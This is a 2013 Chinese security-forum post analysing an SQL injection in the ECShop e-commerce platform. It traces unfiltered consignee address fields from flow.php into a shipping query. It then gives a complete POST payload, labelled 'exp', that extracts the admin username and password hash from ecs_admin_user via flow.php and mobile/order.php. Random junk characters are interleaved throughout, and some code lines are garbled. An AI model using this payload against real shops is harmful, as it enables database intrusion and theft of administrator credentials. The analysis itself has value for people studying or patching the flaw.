找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2159|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。2 O" o/ _% {% k: R5 N

5 ^! G; N. X# P- k6 M    漏洞关键文件:- n) A" e+ n2 }# d' V2 N4 m

" ~. ?! o. \. ~9 |- S    /includes/lib_order.php
+ g% _/ ]  [: t  ^
, G" P( T$ a) k* T4 t    关键函数:
. c7 {0 J/ H$ i9 ]8 A% _: y1 N
4 ^! E) J1 y4 B& P
* Y% q/ m! Q# l! U: i6 C7 Y. W* U$ s9 u+ l' Y7 q7 R# h
01     function available_shipping_list($region_id_list)
* n7 k6 v/ W1 A, o5 ^9 b
, e* z& l$ I0 K* E02 {
9 Z; U+ y0 H( \% p! A1 b( X, T2 Q1 A+ d. {* p* i2 Q* q
03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . 6 e$ x, j' K* I4 A
0 Z" Z4 c9 g$ m1 v/ T- ~
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
- L; e% i3 e+ p7 |1 x; P2 y: a3 T4 X
6 A9 b. G/ \. n* S$ L" ]# a05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . ' j+ L+ d* I" X  O
5 K4 g- N' x9 `# y( L2 h+ Y, Y
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
* a2 a- v% {9 f0 P  G: I5 ?) L" Y! G! g6 O2 |( }! n+ F
07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
; E1 e, G5 J* {# g
9 v2 Z* L: L& }- ]08             'WHERE r.region_id ' . db_create_in($region_id_list) . 2 T0 }4 A+ q4 s4 V7 e; `

5 n/ ~- _" r7 t9 i3 z, a5 M09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; ; n' b3 N0 ?/ z0 ]2 Y/ F
9 q+ q$ F; \5 m
10   ) ^1 o& `* P5 L1 O; [

2 R2 W# p( K  z; \# Y11     return $GLOBALS['db']->getAll($sql);
1 K. r9 Q3 c7 G, A! e; T
7 Q: \- Q) X  ]( W, L- H12 }
% V$ C; ?, B" g3 J) M" @3 S( [: N+ R
* h' b& b2 R: C4 J- M  A! \9 ]显然对传入的参数没有任何过滤就带入了查询语句。
8 E8 u$ ~2 i% K1 i+ c
7 l. ^) G. J8 {$ f7 P下面我们追踪这个函数在flow.php中:
6 i4 o  d) K& U; B 第531行:   2 h+ M$ E7 A$ ~% S" i  f8 Y

+ Y( `* p8 v4 V& p1 $shipping_list     = available_shipping_list($region); ! O1 V, s$ s+ u

; x$ P# d" K1 b0 x- A
" v; \. Y$ j- T# n! K6 }6 y# B4 t
( `& n7 @, L8 Y% w- ~* L
9 `  b* k2 E. H: W+ u2 w4 U
再对传入变量进行追踪:; R9 _4 e* _9 d; Q. D* ]
5 a( \3 w9 P( \, ^1 P
第530行:    5 `1 w: P5 N$ Z. x( v

/ B; L" B. o7 m0 @6 E4 f$ @* v3 x1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
3 n9 R1 q) N7 \/ I4 _3 x# o) F1 ?- `( J

/ |6 d. s/ z" T7 G6 [! ?4 Q8 n+ h) _% t9 Z& }, {8 g
0 W' Z$ b" I$ o) B$ R6 q" f
- U; S8 C5 y6 D3 i7 j1 T. @5 s- ^
第473行:        
# i1 p- |) r% Q+ ?% {, }; @+ C$ R& ^9 h+ E/ W$ Z% s3 U
1 $consignee = get_consignee($_SESSION['user_id']); ( N! D$ f" {. l# S* Z1 n& I$ l0 @  I

  W; H& @( n: L$ {/ n8 q* Z到了一个关键函数:% \# N( K- |( E) h% N
7 `3 e8 {; G0 \  ?
/includes/lib_order.php3 U6 F2 j! ^7 h1 f3 |
: i9 x6 s5 z; L; J" A
7 ^8 A& I1 r- y2 v- J/ q, Y

7 I" s/ e% ]( W4 B 1 Y# e% Q$ r! v+ `% J9 Q

0 w$ x. D& |4 p: v# s01 function get_consignee($user_id) / P. L3 w' z; J3 k) V' Z- ?

3 U3 t) ^- g; o# V; t# ^' j02 {
. x" ~" k' C9 c# f. c
1 ~1 u2 z% V4 B% S03     if (isset($_SESSION['flow_consignee'])) 9 T; I0 E' X  ^  b
* M2 Z* T; w7 C3 T& X5 A6 a% N+ Y
04     { 0 r$ g& W1 O* }0 n0 a( y
: ]1 r1 N- b# ~) n1 B7 r
05         /* 如果存在session,则直接返回session中的收货人信息 */
: j* X; y+ Y& S0 b
  f- h; |4 m( I1 m06   # S- K0 N' @' b  @; b

% b# U6 z. _9 V6 X6 l9 ^07         return $_SESSION['flow_consignee'];
3 G7 ?0 M2 _$ e* N2 S+ |% A' o7 N  \& B+ e: }8 T# L3 `% K# D4 K6 C
08     }
$ C9 }, d6 ?7 e+ I9 w* z6 F' R) x5 z1 k! G3 p. z
09     else - q1 n3 j% `1 Z
4 K1 G! ~( Y" B( U& t( s9 t
10     {
; t$ ^( f# a+ _$ R- A! v- y
! [4 o; A  B( `- ?0 E$ G11         /* 如果不存在,则取得用户的默认收货人信息 */
4 }  d; s! z  @1 [4 e/ U
0 z5 v; n; A, v9 q, k  y% @/ f12         $arr = array(); . f  E" L9 F& u" V4 J+ ^; k

# S# ^6 |: g2 @4 r. W( U+ F13   
2 d. \- t8 A* C; i8 N2 S. O. z; q0 x0 v/ R; N
14         if ($user_id > 0)
# b  }. M: R5 B) x9 M& P7 _: C1 Z: n, A3 E8 Z. p
15         { 7 R7 ^2 y+ ^( Z+ l  u
2 u! l, {# L( h8 O3 W" A
16             /* 取默认地址 */
$ _* F4 B2 `7 N' Y& ^
+ c# T( {" _. R$ `17             $sql = "SELECT ua.*". ( H( t' y9 I! H& F$ o7 O

& O7 h+ Q8 v; N) t' L! R18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. * K( W) T3 l6 x
( G0 G/ d5 M2 J4 y& _( P( E% @
19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
+ }3 X+ j; ?  |3 A6 w  ~' e! x3 O7 [% @& f3 W
20   
9 H, i- {* h3 ~2 ^
4 n/ z% {( ^' e3 @9 s. P7 Q: u21             $arr = $GLOBALS['db']->getRow($sql); 0 _0 o) W8 i* t0 D5 K% h# ~

8 e! r5 N! Q# X22         }
! }  Q% V$ n+ l* G
$ C9 S9 d: ]# x7 ]+ a23   
9 e, f* I$ F6 i6 f; N& Z% g' @0 [* }+ W6 ^0 q$ q1 c- h
24         return $arr; 8 d8 c8 r5 F  H4 F5 r, l" L

: P& Q: z8 c; ^1 l! ?2 _: Q25     } 0 f; O( B% R: y& T! Y; L

7 S- V: e) \' c! K% e  S* H% G26 } ; B+ q1 c, K! n8 |! c
  i5 f2 E3 y6 ?" L1 A
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
9 ^. r% D5 q" c1 q
3 Y' j- K' `8 m2 t' f
$ m, y- D' b! q
. ~' ?% x# J4 K2 Z$ N, M  E1 [关键点:6 j7 L& ?* ?2 J7 T6 M
# x1 k7 M/ s: G( c
第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);, `7 i+ u2 |3 i1 Q! k
4 L' o& h% O4 C* w4 j" ?
这里对传入参数反转义存入$_SESSION中。# N8 {7 k* o. c) L+ a2 L& A

* p1 k  B6 D8 H' ]1 |
) R6 y  [; f9 O* J; W8 ^) X3 N/ R% R5 q9 e
然后看下:
, |1 v7 V3 [+ T8 Z" o) h/ Y2 Y0 j! ~1 V" d0 U

: |% Y% q' f: o% S3 ?  ^2 |- Z9 V
   
# L2 {$ @. T( G6 J0 \
6 E9 k  r  ]% z; n9 b" O# |01 $consignee = array( - s& }# v( v* ]# K- h
* W" \3 V/ ?' E* y) ?" G& m
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']), % j1 p3 s( E" Z  d* q
' d: c$ g1 o9 o1 z* _: B
03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']), ! K0 E$ R, P& x4 i! V" U) C# L

3 r/ h7 X+ I: N9 ]1 g4 w+ V04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
% i6 p  R. s7 {: ^; }# o  u$ u  ]
) [' U5 c* x3 u  z  N# M. ]7 o05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
! a* A2 C3 D; r( i" F4 E
/ a1 M' n  `( [+ H" }4 M06         'city'          => empty($_POST['city'])       ? '' _POST['city'], ! q# Q- c/ @3 a$ u2 s
5 s/ U2 }. K$ Y4 h& K# m
07         'district'      => empty($_POST['district'])   ? '' _POST['district'],   J8 a$ Q1 N# F7 K9 i
& s; x1 g0 M) Q
08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
$ c9 S6 M, E' ~/ u0 b  D1 b' y$ t, ~$ k# ^! P2 H# |! x
09         'address'       => empty($_POST['address'])    ? '' _POST['address'], - H& N( n" H; d& f
( p. A" R9 q- F3 M, h
10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
, @2 v! Z5 u, D, {/ g% i
0 \; N$ w4 J: e7 s11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
( S: c: o+ T/ O8 W% g9 X3 N% r
# ]  w  ?5 T! b& w  N12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
4 E3 k% Q# `! j4 Z
; y: m9 i, }6 F  J+ d: _: Q13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], 1 f# r2 g0 F$ d2 V  z  r& ~

, f' ?! H4 z9 Y/ y! o& `4 y  k14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'], " q$ c2 b: o- {/ |2 y$ p+ R% i
" ^$ R1 m. M! B8 X
15     ); : X  K4 o  J, D* s& l' s, o5 c

7 B9 v0 ~! H& \& I7 Y1 s9 U好了注入就这样出现了。
/ o) V& b. ]3 E( q' m
! l, }6 y) F0 I7 `* @# Q& @% X' ^==================9 }& x3 [' x* ]& g+ t) `8 @4 i
) x. r5 ?1 F2 j1 w6 S; \6 o$ A
注入测试:8 c0 r( P8 L7 c* |! j/ r
) a/ P4 w# S! V0 P
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
- l" J$ c- |7 f' P9 \: P% u
, C+ J! J/ r; ~) H测试程序:ECShop_V2.7.3_UTF8_release1106% T% x7 t0 m3 N- y, g0 b+ ]8 ?2 E
0 n$ @8 ^0 F# t1 Q; m: |

5 a8 p- ?8 h; a
+ a6 K1 f5 b$ A1.首先需要点击一个商品加入购物车3 r! b/ j. j2 w, P* u

' y/ v' O/ f' C5 `; k( A2.注册一个会员帐号" z# m3 t1 n8 x) I

5 b, s0 W- F' c% _3.post提交数据- V& b8 C6 ^9 ^; q& H4 w- @  d

. c' D; g8 o, N# C
0 ~7 C, B" F: t/ H/ A
# c8 z8 J! o. Z2 G' R1 http://127.0.0.1/ecshop/flow.php
4 @. i" U) H1 J7 l! v  ?1 U' Y) I: r* F) }" S) K3 X* P! a
2   
/ ?2 y, a& |6 ^/ W
. R! |( _4 W# N3 G0 B, L3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
( C2 g; `. D0 ]+ G" J2 R, p举一反三,我们根据这个漏洞我们可以继续深入挖掘:4 C  w" L5 i5 M' c- T7 s  E2 L

2 Z( w! c$ n. k) c1 g我们搜寻关键函数function available_shipping_list()
6 u8 S( S- x# F( s' @. s! x- t+ M/ A1 U/ F
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同/ e* j9 l+ _: E4 T5 a2 o1 }  @

! j$ X( h- i' G, w+ ^' y7 b2 d利用exp:
. F/ T8 D& v* J+ y. n
' _$ y' T! w' j5 `% U1.点击一个商品,点击购买商标
9 E4 l0 _. `, n$ Q+ j, P) O
( X  f1 Y, C: C  D) S2.登录会员帐号7 r  P; I3 }, V  F3 E3 C! U
/ z5 F& {, _/ }2 ]& m. b4 A. ?
3.post提交:, Y( i, H# |! p
2 T9 J8 J0 c! @
http://127.0.0.1/ecshop/mobile/order.php
3 ^3 l! Q# n& c$ e1 J
9 M7 Z6 f5 q0 S4 b* _  Q; ] 4 W! z' ~! P( w, Q- l7 S
4 q# J" s' }3 T2 e( @$ }2 q1 X
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
! L3 \  z! o: [3 Y6 p* L0 L
# ~, I  E$ |8 I& [: j
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表